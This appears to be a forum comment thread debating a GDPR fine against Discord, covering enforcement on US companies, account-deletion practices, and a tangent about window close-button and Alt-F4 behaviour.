Discord did not get this fine for this one point, but for the sum of all issues.
Yeah, but the fact that they got money from them for this "issue" is laughable.
They fined them based on violations reported by users and Discord can contest this in a court of law.
So if I’m an American company and have no offices in Europe and ignore GDPR for my free customers, what happens? Will I get arrested by the Polizei when I land in Berlin? Will the US force me to pay these fines?

Maybe also this.
> Will the US force me to pay these fines?
I am also curious.

>if I made a hello world program in C, they'd find a clever way of fining me Last time I check Hello World do not contain any internet connection code, let me know an example of C hello world that grabs your microphone input then sends it over the internet. Probably would be a single Linux command line job.

Pretty stupid scenario - sad Discord had locations in that area, because I agree with a lot of other posters, it seems to just be a weaponized law for monetary gain.

Why do apps think it is necessary to start playing with the UI when we have a minimise button? When I click "X" I expect the application to exit as it did in Windows 1.0 and the minimise button to either put it in the startbar or the status bar but keep running. EDIT: I remembered incorrectly, Windows 1.0 did not have a X button but a close button on the right side of the window.
X didn't appear until Windows 95.

I'm not fond of regulatory agencies defining what constitutes an acceptable password policy. Also, regulatory agencies mandating UI designs - while in this case fairly innocuous - leaves a bad taste in my mouth.
There are probably a bunch of regulations that dictate on what is in your car's cabin and how they work.
Sorry but the points are totally valid. If you delete your account your messages are still available with a userid that if someone has it can be traced back to you. They also don't delete files or pictures you uploaded alone for this they should get fined.

> does Alt-F4 not do the right thing on Windows Alt-F4 closes the _window_, not the application. If the application can 'survive' without a window, not exiting the application is the correct behaviour.
